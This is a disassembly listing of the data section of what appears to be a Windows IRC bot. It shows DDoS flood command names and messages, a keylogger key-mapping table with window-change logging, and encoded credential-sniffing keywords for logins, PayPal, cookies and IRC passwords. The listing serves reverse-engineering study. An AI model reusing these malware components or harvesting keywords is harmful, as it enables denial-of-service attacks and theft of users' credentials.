align 10h
a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041AC2Ao
align 4
a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041ABEBo
align 10h
a_yn db '_yn',0
a_y1 db '_y1',0
a_y0 db '_y0',0
aFrexp db 'frexp',0
align 4
aFmod db 'fmod',0
align 4
a_hypot db '_hypot',0
align 4
a_cabs db '_cabs',0
align 4
aLdexp db 'ldexp',0
align 4
aModf db 'modf',0
align 4
aFabs db 'fabs',0
align 4
aFloor db 'floor',0
align 4
aCeil db 'ceil',0
align 4
aTan db 'tan',0
aCos db 'cos',0
aSin db 'sin',0
aSqrt db 'sqrt',0
align 4
aAtan2 db 'atan2',0
align 10h
aAtan db 'atan',0
align 4
aAcos db 'acos',0
align 10h
aAsin db 'asin',0
align 4
aTanh db 'tanh',0
align 10h
aCosh db 'cosh',0
align 4
aSinh db 'sinh',0
align 10h
aLog10 db 'log10',0
align 4
aLog db 'log',0
aPow db 'pow',0
aExp db 'exp',0 ; DATA XREF: ___:off_43B7ECo
align 8
dbl_424818 dq 0.0 ; DATA XREF: sub_41C2F3+8Cr
; sub_41C2F3+ACr ...
dbl_424820 dq 4.195835e6 ; DATA XREF: sub_41C808+Fr
dbl_424828 dq 3.145727e6 ; DATA XREF: sub_41C808+6r
aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_41C846+Fo
align 4
aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_41C846o
align 4
aE000 db 'e+000',0 ; DATA XREF: sub_41C96D+93o
align 10h
dword_424860 dd 0FFFFFFFFh, 41D058h, 41D062h, 0 ; DATA XREF: sub_41CFF1+5o
dword_424870 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41D120+5o
dd offset loc_41D1DE
align 10h
dd offset sub_41D1BC
dd offset sub_41D1C6
dword_424888 dd 0FFFFFFFFh, 41D40Eh, 41D412h, 0 ; DATA XREF: sub_41D256+5o
dword_424898 dd 0FFFFFFFFh, 41D470h, 41D479h, 0 ; DATA XREF: sub_41D41A+5o
dword_4248A8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41D4FC+5o
dd offset loc_41D54D
align 8
dd offset loc_41D539
dd offset loc_41D53D
dword_4248C0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41D552+5o
dd offset loc_41D5A3
align 10h
dd offset loc_41D58F
dd offset loc_41D593
dword_4248D8 dd 2 dup(0) ; DATA XREF: sub_41E709+36o
; sub_41FB63+39o ...
dword_4248E0 dd 0FFFFFFFFh, 41E819h, 41E81Dh, 0FFFFFFFFh, 41E8CDh, 41E8D1h
; DATA XREF: sub_41E709+5o
dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
dd 65682065h, 0A0D7061h, 0
aR6027NotEnough db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 4
aR6026NotEnough db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 10h
aR6025PureVirtu db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 4
aR6024NotEnough db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 10h
aR6019UnableToO db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
align 4
aR6018Unexpecte db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 10h
aR6017Unexpecte db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 10h
aR6016NotEnough db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra db 0Dh,0Ah
db 'abnormal program termination',0Dh,0Ah,0
align 10h
aR6009NotEnough db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 4
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: ___:off_43BC2Co
db '- floating point not loaded',0Dh,0Ah,0
align 10h
aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41F885+119o
align 4
asc_424BA8 db 0Ah ; DATA XREF: sub_41F885+F1o
db 0Ah,0
align 4
aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_41F885+D3o
db 0Ah
db 'Program: ',0
align 4
a___ db '...',0 ; DATA XREF: sub_41F885+BFo
aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_41F885+7Do
align 8
dword_424BE8 dd 0FFFFFFFFh, 41FC5Ch, 41FC60h ; DATA XREF: sub_41FB63+5o
aSunmontuewedth db 'SunMonTueWedThuFriSat',0
align 4
aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
align 4
aTz db 'TZ',0 ; DATA XREF: sub_42094E+Ao
align 4
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_42105F+3Do
align 4
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_42105F+35o
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_42105F+24o
a1Qnan db '1#QNAN',0 ; DATA XREF: sub_4219A9:loc_421A9Eo
align 10h
a1Inf db '1#INF',0 ; DATA XREF: sub_4219A9+D8o
align 4
a1Ind db '1#IND',0 ; DATA XREF: sub_4219A9+C7o
align 10h
a1Snan db '1#SNAN',0 ; DATA XREF: sub_4219A9+ADo
align 4
dword_424C88 dd 0FFFFFFFFh, 4223A1h, 4223A5h, 0FFFFFFFFh, 422410h, 422414h
; DATA XREF: sub_4221EA+5o
dd 424DC4h
off_424CA4 dd offset loc_4227D2 ; DATA XREF: sub_4227AA+8o
; sub_4227EE+2Co ...
dd offset sub_4227C5
dd offset sub_4229E6
dd offset dword_424E10
off_424CB4 dd offset sub_42283C ; DATA XREF: sub_4227EE+3Ao
; sub_422858o ...
dd offset sub_4227C5
dd offset loc_422A22
dword_424CC0 dd 0 ; DATA XREF: sub_4227EE+16o
; sub_4228C0+16o
aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_422863+11o
dd offset dword_424E5C
off_424CE0 dd offset sub_42294B ; DATA XREF: sub_422967o
; sub_42298A+37o ...
dd offset sub_4227C5
dd offset loc_422A04
aStringTooLong db 'string too long',0 ; DATA XREF: sub_42298A+11o
dd offset dword_424EA0
off_424D00 dd offset loc_422AE7 ; DATA XREF: sub_422AD2o
; ___:off_43C34Co ...
dd offset dword_424ED0
off_424D08 dd offset loc_422B03 ; DATA XREF: sub_422B1F+8o
; sub_422B5C+8o ...
dd offset sub_422BBC
aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_422BBC+7o
align 8
dword_424D28 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_422BC9+Eo
dd 3, 19930520h, 2 dup(0)
dword_424D48 dd 0FFFFFFFFh, 422D7Ah, 422D7Eh, 0FFFFFFFFh, 422DF7h, 422DFBh
; DATA XREF: sub_422C78+5o
dword_424D60 dd 0FFFFFFFFh, 422FEFh, 422FF3h, 0FFFFFFFFh, 42304Ch, 423050h
; DATA XREF: sub_422F03+5o
dd 43C34Ch, 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
off_424D90 dd offset off_43C364 ; DATA XREF: ___:00424DA8o
; ___:00424DF4o ...
dd 1, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_424D90
dd offset dword_424D60+18h
dword_424DB0 dd 3 dup(0) ; DATA XREF: ___:00424DD4o
dd 2, 424DA8h, 3 dup(0)
dd offset off_43C364
dd offset dword_424DB0+4
off_424DD8 dd offset off_43C384 ; DATA XREF: ___:00424DF0o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_424DD8
dd offset off_424D90
dd offset dword_424D60+18h
dword_424DFC dd 3 dup(0) ; DATA XREF: ___:00424E20o
dd 3, 424DF0h
dword_424E10 dd 3 dup(0) ; DATA XREF: ___:00424CB0o
dd offset off_43C384
dd offset dword_424DFC+4
; ---------------------------------------------------------------------------
loc_424E24: ; DATA XREF: ___:00424E3Co
movsb
retn
; ---------------------------------------------------------------------------
dw 43h
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset loc_424E24
dd offset off_424D90
dd offset dword_424D60+18h
dd 3 dup(0)
dd 3, 424E3Ch
dword_424E5C dd 3 dup(0) ; DATA XREF: ___:00424CDCo
; ---------------------------------------------------------------------------
movsb
retn
; ---------------------------------------------------------------------------
inc ebx
add [esi+ecx*2+42h], cl
loc_424E6F: ; DATA XREF: ___:00424E88o
add al, cl
retn
; ---------------------------------------------------------------------------
dw 43h
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset loc_424E6F+1
dword_424E8C dd 3 dup(0) ; DATA XREF: ___:00424EB0o
dd 1, 424E88h
dword_424EA0 dd 3 dup(0) ; DATA XREF: ___:00424CFCo
dd offset off_43C3C8
dd offset dword_424E8C+4
dd offset dword_424D60+18h
dword_424EB8 dd 4 dup(0) ; DATA XREF: ___:00424EE0o
dd 1, 424EB4h
dword_424ED0 dd 3 dup(0) ; DATA XREF: ___:00424D04o
dd offset off_43C34C
dd offset dword_424EB8+8
align 8
dword_424EE8 dd 19930520h, 2, 424F08h, 5 dup(0) ; DATA XREF: ___:loc_4230E7o
dd 0FFFFFFFFh, 4230D0h, 0
dd offset sub_4230C8
dword_424F18 dd 19930520h, 2, 424F38h, 5 dup(0) ; DATA XREF: ___:loc_423104o
dd 0FFFFFFFFh, 4230F4h, 0
dd offset loc_4230FC
dword_424F48 dd 19930520h, 2, 424F68h, 1, 424F78h, 3 dup(0) ; DATA XREF: ___:loc_423110o
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 424F90h, 4 dup(0)
dd offset loc_40477E
dd 0FFFFFFFFh, 42311Ah
dword_424FA8 dd 19930520h, 1, 424FA0h, 5 dup(0) ; DATA XREF: ___:loc_423122o
dd offset off_43C34C
align 10h
dd 0FFFFFFFFh, 0
dd 0Ch, 422B5Ch, 0
dd offset off_43C364
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 422908h, 0
dd offset off_43C384
align 8
dd 0FFFFFFFFh, 0
dword_425010 dd 1Ch, 422972h, 3, 424FFCh, 424FE0h, 424FC4h ; DATA XREF: ___:00425034o
dword_425028 dd 0 ; DATA XREF: sub_422863+2Eo
; sub_4229E6+4Bo
dd offset sub_422858
dd 0
dd offset dword_425010+8
dd 0FFFFFFFFh, 42312Ch
dword_425040 dd 19930520h, 1, 425038h, 4 dup(0) ; DATA XREF: ___:loc_423134o
dd 0FFFFFFFFh, 42313Eh
dword_425064 dd 19930520h, 1, 42505Ch, 4 dup(0) ; DATA XREF: ___:loc_423146o
dd 0FFFFFFFFh, 423150h
dword_425088 dd 19930520h, 1, 425080h, 5 dup(0) ; DATA XREF: ___:loc_423158o
; ---------------------------------------------------------------------------
movsb
retn
; ---------------------------------------------------------------------------
dw 43h
align 10h
dd 0FFFFFFFFh, 0
dword_4250B8 dd 1Ch, 4229CEh, 3, 4250A4h, 424FE0h, 424FC4h ; DATA XREF: ___:004250DCo
dword_4250D0 dd 0 ; DATA XREF: sub_42298A+2Eo
; sub_4229E6+2Do
dd offset sub_422967
dd 0
dd offset dword_4250B8+8
dd 0FFFFFFFFh, 423162h
dword_4250E8 dd 19930520h, 1, 4250E0h, 4 dup(0) ; DATA XREF: ___:loc_42316Ao
dword_425104 dd 2, 424FE0h, 424FC4h ; DATA XREF: ___:0042511Co
dword_425110 dd 0 ; DATA XREF: sub_4229E6+Fo
dd offset sub_4227AA
dd 0
dd offset dword_425104
dd 5 dup(1546EC53h), 5 dup(31A0DE8Ch), 5 dup(614CE8B5h)
dd 7Ah dup(0)
dd 614CE8B5h, 0
dd 1546EC53h, 12h dup(0)
dd 31A0DE8Ch, 319h dup(0)
dword_426000 dd 0 ; DATA XREF: ___:00419AD7o
dd offset sub_4030CC
dd offset sub_40482C
dd offset sub_40484E
dword_426010 dd 0 ; DATA XREF: ___:00419AD2o
dword_426014 dd 0 ; DATA XREF: ___:00419AC8o
dd offset sub_418682
dd offset sub_41ECF1
dd offset sub_41FA42
dd offset dword_4208B4
dword_426028 dd 0 ; DATA XREF: ___:loc_419AC3o
dword_42602C dd 0 ; DATA XREF: sub_419B07+65o
dd offset sub_41FAE7
dword_426034 dd 0 ; DATA XREF: sub_419B07:loc_419B67o
dword_426038 dd 0 ; DATA XREF: sub_419B07+76o
dd offset dword_4208B4+11h
dword_426040 dd 4 dup(0) ; DATA XREF: sub_419B07:loc_419B78o
unk_426050 db 2 ; DATA XREF: sub_401000+5Eo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 2 dup(64h), 6Fh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDoneWithFloodI db ' Done with flood (%iKB/sec).',0
align 4
unk_426088 db 2 ; DATA XREF: sub_4010B5+302o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 2 dup(64h), 6Fh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSendErrorD_ db ' Send error: <%d>.',0
align 4
aDdos_random db 'ddos.random',0 ; DATA XREF: sub_4010B5:loc_4011E1o
; sub_40EE72+268Fo
aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_4010B5:loc_4011C5o
; sub_40EE72+2678o
align 10h
aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_4010B5+F1o
; sub_40EE72+2661o
align 4
unk_4260DC db 2 ; DATA XREF: sub_40144A+397o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDoneWithSFlood db ' Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
db 'MB).',0
align 4
unk_42613C db 2 ; DATA XREF: sub_40144A+307o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aErrorSendingPa db ' Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
db 'd>.',0
align 4
unk_42619C db 2 ; DATA XREF: sub_40144A+12Ao
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aInvalidTargetI db ' Invalid target IP.',0
align 4
unk_4261CC db 2 ; DATA XREF: sub_40144A+C2o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aErrorSetsockop db ' Error: setsockopt() failed, returned: <%d>.',0
align 4
unk_426214 db 2 ; DATA XREF: sub_40144A:loc_401493o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aErrorSocketFai db ' Error: socket() failed, returned: <%d>.',0
align 4
aSupersynDoneWi db '[SUPERSYN]: Done with flood (%iKB/sec)',0 ; DATA XREF: sub_401831+4Bo
align 10h
dword_426280 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_4019D7+4Bo
dd 2BBBB02h
aDoneWithFloo_0 db ' Done with flood (%iKB/sec).',0
align 4
dword_4262B8 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_401A76+27Do
dd 2BBBB02h
aSendErrorD__0 db ' Send error: <%d>.',0
dword_4262E4 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_401D82+4EBo
dd 2BBBB02h
aDoneWithSFlo_0 db ' Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
db 'MB).',0
align 4
dword_426344 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_401D82+44Fo
dd 2BBBB02h
aErrorSending_0 db ' Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
db 'd>.',0
align 4
aRandom db 'random',0 ; DATA XREF: sub_401D82+312o
; sub_40EE72+2C3Co ...
align 4
aAck db 'ack',0 ; DATA XREF: sub_401D82+2F2o
; sub_40EE72+2C25o
aSyn db 'syn',0 ; DATA XREF: sub_401D82+2D2o
; sub_40EE72+2C0Do
dword_4263B4 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_401D82+15Fo
dd 2BBBB02h
aInvalidTarge_0 db ' Invalid target IP.',0
align 4
dword_4263E4 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_401D82+EEo
dd 2BBBB02h
aErrorSetsock_0 db ' Error: setsockopt() failed, returned: <%d>.',0
align 4
dword_42642C dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_401D82+70o
dd 2BBBB02h
aErrorSocketF_0 db ' Error: socket() failed, returned: <%d>.',0
align 10h
dw 8
unicode 0, <>,0
aB: ; DATA XREF: sub_4023A7:loc_40248Ao
unicode 0, <b>,0
dd 62000000h, 2 dup(0)
dd 0Dh, 65h, 65000000h, 2 dup(0)
dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0
dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0
dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0
dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0
dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0
dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0
dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0
dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0
dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0
dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0
dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0
dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0
dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0
dd 0C0h, 60h, 7E000000h, 2 dup(0)
dd 2 dup(31h), 21000000h, 2 dup(0)
dd 2 dup(32h), 40000000h, 2 dup(0)
dd 2 dup(33h), 23000000h, 2 dup(0)
dd 2 dup(34h), 24000000h, 2 dup(0)
dd 2 dup(35h), 25000000h, 2 dup(0)
dd 2 dup(36h), 5E000000h, 2 dup(0)
dd 2 dup(37h), 26000000h, 2 dup(0)
dd 2 dup(38h), 2A000000h, 2 dup(0)
dd 2 dup(39h), 28000000h, 2 dup(0)
dd 2 dup(30h), 29000000h, 2 dup(0)
dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
dd 51h, 71h, 51000000h, 2 dup(0)
dd 57h, 77h, 57000000h, 2 dup(0)
dd 45h, 65h, 45000000h, 2 dup(0)
dd 52h, 72h, 52000000h, 2 dup(0)
dd 54h, 74h, 54000000h, 2 dup(0)
dd 59h, 79h, 59000000h, 2 dup(0)
dd 55h, 75h, 55000000h, 2 dup(0)
dd 49h, 69h, 49000000h, 2 dup(0)
dd 4Fh, 6Fh, 4F000000h, 2 dup(0)
dd 50h, 70h, 50000000h, 2 dup(0)
dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
dd 0DDh, 0
dd 7D000000h, 2 dup(0)
dd 41h, 61h, 61000000h, 2 dup(0)
dd 53h, 73h, 53000000h, 2 dup(0)
dd 44h, 64h, 44000000h, 2 dup(0)
dd 46h, 66h, 46000000h, 2 dup(0)
dd 47h, 67h, 47000000h, 2 dup(0)
dd 48h, 68h, 48000000h, 2 dup(0)
dd 4Ah, 6Ah, 4A000000h, 2 dup(0)
dd 4Bh, 6Bh, 4B000000h, 2 dup(0)
dd 4Ch, 6Ch, 4C000000h, 2 dup(0)
dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
dd 0DEh, 27h, 22000000h, 2 dup(0)
dd 5Ah, 7Ah, 5A000000h, 2 dup(0)
dd 58h, 78h, 58000000h, 2 dup(0)
dd 43h, 63h, 43000000h, 2 dup(0)
dd 56h, 76h, 56000000h, 2 dup(0)
dd 42h, 62h, 42000000h, 2 dup(0)
dd 4Eh, 6Eh, 4E000000h, 2 dup(0)
dd 4Dh, 6Dh, 4D000000h, 2 dup(0)
dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
dd 5B00005Dh, 5D4E4957h, 0
dd 2 dup(20h), 20000000h, 2 dup(0)
dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0
dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
dd 5D534E49h, 0
dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
dd 5D4C4544h, 0
dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0
dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
dd 5D5055h, 0
dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0)
dd 6Ah, 2Ah, 2A000000h, 2 dup(0)
dd 6Dh, 2Dh, 2D000000h, 2 dup(0)
dd 6Bh, 2Bh, 2B000000h, 2 dup(0)
dd 60h, 30h, 30000000h, 2 dup(0)
dd 61h, 31h, 31000000h, 2 dup(0)
dd 62h, 32h, 32000000h, 2 dup(0)
dd 63h, 33h, 33000000h, 2 dup(0)
dd 64h, 34h, 34000000h, 2 dup(0)
dd 65h, 35h, 35000000h, 2 dup(0)
dd 66h, 36h, 36000000h, 2 dup(0)
dd 67h, 37h, 37000000h, 2 dup(0)
dd 68h
dword_426BA4 dd 38h, 38000000h, 2 dup(0) ; DATA XREF: sub_4023A7+2B6o
dd 69h, 39h, 39000000h, 2 dup(0)
dd 6Eh, 2Eh, 2E000000h, 2 dup(0)
dword_426BDC dd 7A026E02h, 201F6D1Fh, 79656B28h, 2E676F6Ch, 1F6C1F70h
; DATA XREF: sub_4022C6+AEo
dd 2202967h, 2002BBBBh, 732520h
aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_4022C6+88o
align 4
aAb db 'ab',0 ; DATA XREF: sub_4022C6+4Eo
; sub_40EE72+2AE5o
align 4
asc_426C1C: ; DATA XREF: sub_4022C6+2Co
unicode 0, <\>,0
aSReturnS db '%s (Return) (%s)',0 ; DATA XREF: sub_4023A7+228o
align 4
aSBufferFullS db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_4023A7+1E5o
align 4
aSChangedWindow db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_4023A7+8Fo
align 4
off_426C68 dd offset off_4274E0 ; DATA XREF: sub_402688+29Er
dd offset off_4274DC
dd offset off_4274D8
dd offset aHttp ; "HTTP"
dword_426C78 dd 6F6C2E3Ah, 6E6967h, 3 dup(0) ; DATA XREF: sub_402688+1DEo
dword_426C8C dd 0 ; DATA XREF: sub_402688+297r
dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
dd 6F6C213Ah, 6E6967h, 4 dup(0)
dd 6F6C403Ah, 6E6967h, 4 dup(0)
dd 6F6C243Ah, 6E6967h, 4 dup(0)
dd 6F6C253Ah, 6E6967h, 4 dup(0)
dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
dd 6F6C263Ah, 6E6967h, 4 dup(0)
dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
dd 6F6C273Ah, 6E6967h, 4 dup(0)
dd 6F6C603Ah, 6E6967h, 4 dup(0)
dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
dd 6F6C203Ah, 6E6967h, 4 dup(0)
dd 75612E3Ah, 6874h, 4 dup(0)
dd 75612C3Ah, 6874h, 4 dup(0)
dd 7561213Ah, 6874h, 4 dup(0)
dd 7561403Ah, 6874h, 4 dup(0)
dd 7561243Ah, 6874h, 4 dup(0)
dd 7561253Ah, 6874h, 4 dup(0)
dd 75615E3Ah, 6874h, 4 dup(0)
dd 7561263Ah, 6874h, 4 dup(0)
dd 75612A3Ah, 6874h, 4 dup(0)
dd 75612D3Ah, 6874h, 4 dup(0)
dd 75612B3Ah, 6874h, 4 dup(0)
dd 75612F3Ah, 6874h, 4 dup(0)
dd 75615C3Ah, 6874h, 4 dup(0)
dd 75613D3Ah, 6874h, 4 dup(0)
dd 75613F3Ah, 6874h, 4 dup(0)
dd 7561273Ah, 6874h, 4 dup(0)
dd 7561603Ah, 6874h, 4 dup(0)
dd 75617E3Ah, 6874h, 4 dup(0)
dd 7561203Ah, 6874h, 4 dup(0)
dd 64692E3Ah, 5 dup(0)
dd 64692C3Ah, 5 dup(0)
dd 6469213Ah, 5 dup(0)
dd 6469403Ah, 5 dup(0)
dd 6469243Ah, 5 dup(0)
dd 6469253Ah, 5 dup(0)
dd 64695E3Ah, 5 dup(0)
dd 6469263Ah, 5 dup(0)
dd 64692A3Ah, 5 dup(0)
dd 64692D3Ah, 5 dup(0)
dd 64692B3Ah, 5 dup(0)
dd 64692F3Ah, 5 dup(0)
dd 64695C3Ah, 5 dup(0)
dd 64693D3Ah, 5 dup(0)
dd 64693F3Ah, 5 dup(0)
dd 6469273Ah, 5 dup(0)
dd 6469603Ah, 5 dup(0)
dd 64697E3Ah, 5 dup(0)
dd 6469203Ah, 5 dup(0)
dd 61682E3Ah, 6E696873h, 4 dup(0)
dd 6168213Ah, 6E696873h, 4 dup(0)
dd 6168243Ah, 6E696873h, 4 dup(0)
dd 6168253Ah, 6E696873h, 4 dup(0)
dd 65732E3Ah, 65727563h, 4 dup(0)
dd 6573213Ah, 65727563h, 4 dup(0)
dd 6C2E3Ah, 5 dup(0)
dd 6C213Ah, 5 dup(0)
dd 6C243Ah, 5 dup(0)
dd 6C253Ah, 5 dup(0)
dd 782E3Ah, 5 dup(0)
dd 78213Ah, 5 dup(0)
dd 78243Ah, 5 dup(0)
dd 78253Ah, 5 dup(0)
dd 79732E3Ah, 6Eh, 4 dup(0)
dd 7973213Ah, 6Eh, 4 dup(0)
dd 7973243Ah, 6Eh, 4 dup(0)
dd 7973253Ah, 6Eh, 4 dup(0)
dd 4B444320h, 207965h, 4 dup(0)
dd 4E494F4Ah, 2320h, 3 dup(0)
dd 1, 4B43494Eh, 20h, 3 dup(0)
dd 1, 5245504Fh, 20h, 3 dup(0)
dd 1, 7265706Fh, 20h, 3 dup(0)
dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
dd 1, 52455355h, 20h, 3 dup(0)
dd 2, 53534150h, 20h, 3 dup(0)
dd 2, 70796170h, 6C61h, 3 dup(0)
dd 3, 50594150h, 4C41h, 3 dup(0)
dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
dd 3, 6 dup(0)
aHttp db 'HTTP',0 ; DATA XREF: ___:00426C74o
align 4
off_4274D8 dd offset byte_505446 ; DATA XREF: ___:00426C70o
off_4274DC dd offset byte_435249 ; DATA XREF: ___:00426C6Co
